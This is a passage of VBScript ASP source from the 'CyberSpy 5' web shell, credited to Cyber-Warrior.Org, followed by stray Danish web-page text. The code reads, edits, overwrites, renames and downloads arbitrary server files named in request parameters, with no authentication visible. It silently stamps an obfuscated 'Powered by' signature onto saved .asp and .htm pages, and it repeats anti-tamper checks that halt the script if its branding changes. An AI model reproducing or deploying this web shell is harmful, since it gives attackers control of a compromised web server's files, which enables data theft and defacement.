iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
'---Listeleme Bitti-----
iF Table <> Title Then:Response.Write " ":Response.End
Set Drives = Nothing
Set WshNetwork = Nothing
Set WshShell = Nothing
Set WshEnv = Nothing
iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
Case "TxtDosyaAc"
Call BolumSUB()
iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write SabitBaslik & BosSabitAlan & "<font face=""arial"" size=""2"">"
'Text Dosya Görüntüleme Basliyoruz
Response.write " Text Dosya Baslangiç<br>"
iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
Response.write "____________________________________________________________________________________________"
Response.write"<br><br>"
iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
file = Replace(Trim(Request.QueryString("file")),"|","\")
Set fso = CreateObject("Scripting.FileSystemObject")
Set a = fso.OpenTextFile(file)
Response.Write Replace(Replace(Server.HTMLEncode(a.ReadAll),VbCrLf,"<br>")," "," ")
iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
Response.write"<br>"
Response.write "____________________________________________________________________________________________"
Response.write"<br>"
Response.write " Text Dosya Sonu<br>"
iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
Set a = Nothing
Set fso = Nothing
iF Table <> Title Then:Response.Write "CyberSpy 5 !":Response.End
Case "TxtDosyaEdit"
iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
Call BolumSUB()
Response.Write SabitBaslik & BosSabitAlan
iF Request.Form.Count = 0 Then
file = Replace(Trim(Request.QueryString("file")),"|","\")
Set fso = CreateObject("Scripting.FileSystemObject")
Set a = fso.OpenTextFile(file)
Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=TxtDosyaEdit"">"
iF mid(MCase,7,2) <> "py" Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Response.Write "<textarea cols='85' rows='25' name=""content"" wrap=""physical"" >" & Server.HTMLEncode(a.ReadAll) & "</textarea><br>"
Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("file")) & """>"
Response.Write "<input type=""submit"" name=""savemethod"" value=""Save""> <input type=""submit"" name=""savemethod"" value=""Save as""></form>"
Set a = Nothing
Set fso = Nothing
iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
Else
iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
Select Case Trim(Request.Form("savemethod"))
Case "Save"
Set fso = CreateObject("Scripting.FileSystemObject")
novotexto = Trim(Request.Form("content"))
DosyaAdK = right(Trim(Request.Form("path")),3)
PE = mid("Po",1,2)&mid("09weq8e7",3,2)&mid("colorred ",6,4)&left("br",1)&left("y",1)
PE = PE & " " &Title
iF DosyaAdK = "asp" Or DosyaAdK = "htm" Then
novotexto = novotexto & "<br><br><br><br><br><center><b>"&PE&"<b></center>"
End iF
novotexto = Split(novotexto,vbCrLf)
Set objstream = fso.OpenTextFile(Replace(Trim(Request.Form("path")),"|","\"),2)
For i = 0 To UBound(novotexto)
objstream.WriteLine(novotexto(i))
Next
objstream.Close
Set objstream = Nothing
Response.Write "Kaydedilen Dosya: <b>" & Replace(Trim(Request.Form("path")),"|","\") & "</b><br><br><br>"
Case "Save as"
iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
Set fso = CreateObject("Scripting.FileSystemObject")
novotexto = Trim(Request.Form("content"))
iF Table <> Title Then:Response.Write "CyberSpy 5 Degisiklik Yapamazsiniz...":Response.End
DosyaAdK = right(Trim(Request.Form("path")),3)
PE = mid("Po",1,2)&mid("09weq8e7",3,2)&mid("colorred ",6,4)&left("br",1)&left("y",1)
PE = PE & " " &Title
iF DosyaAdK = "asp" Or DosyaAdK = "htm" Then
novotexto = novotexto & "<br><br><br><br><br><center><b>"&PE&"<b></center>"
End iF
iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End
novotexto = Split(novotexto,vbCrLf)
VeriParametre = ObjeGosterpath(Replace(Trim(Request.Form("path")),"|","\")) & "TempDosya.txt"
Set objstream = fso.CreateTextFile(VeriParametre,true,false)
For i = 0 To UBound(novotexto)
objstream.WriteLine(novotexto(i))
Next
objstream.Close
Set objstream = Nothing
Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=TxtDosyaEdit"">"
iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End
Response.Write "<input type=""text"" name=""filename"" value=""" & ObjeGoster(Replace(Trim(Request.Form("path")),"|","\")) & """><br>"
Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.Form("path")) & """>"
Response.Write "<input type=""submit"" name=""savemethod2"" value=""Save""></form>"
Case Else
iF Table <> Title Then:Response.Write "Çapraz Kontrol! CyberSpy 5 / Kod Yetkisizce Degistiriliyor...":Response.End
VeriParametre = ObjeGosterpath(Replace(Trim(Request.Form("path")),"|","\")) & "CWSil.txt"
iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
iF Table <> Title Then:Response.Write "Karsilastirmali Kontrol! Yetkisiz Erisim...":Response.End
Set MyFile = ObjFSO.GetFile(VeriParametre)
iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Response.End
CyberWarrior_AktifDizin = Left(VeriParametre,InStrRev(VeriParametre,"\")) & Trim(Request.Form("filename"))
MyFile.Move (CyberWarrior_AktifDizin)
iF Err.Number = 0 Then
Response.Write "<font face='arial' size='2'><center><br><br>OlayNesnesi: <b>" & CyberWarrior_AktifDizin & "</b> salvo!"
Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
End iF
End Select
iF mid(Td,16,2) <> "r " Then:Response.Write "CyberSpy 5 / Cyber-Warrior.Org":Response.End
End iF
Case "indir"
Response.Buffer = True
Response.Clear
strFileName = Replace(Trim(Request.QueryString("file")),"|","\")
strFile = Right(strFileName, Len(strFileName) - InStrRev(strFileName,"\"))
strFileType = Request.QueryString("type")
iF strFileType = "" then strFileType = "application/indir"
iF mid(img,8,2) <> "ar" Then:Response.Write "CyberSpy 5 / Kod Yetkisizce Degistiriliyor":Respon
Ny bruger
Nybegynder
Opret
Preview
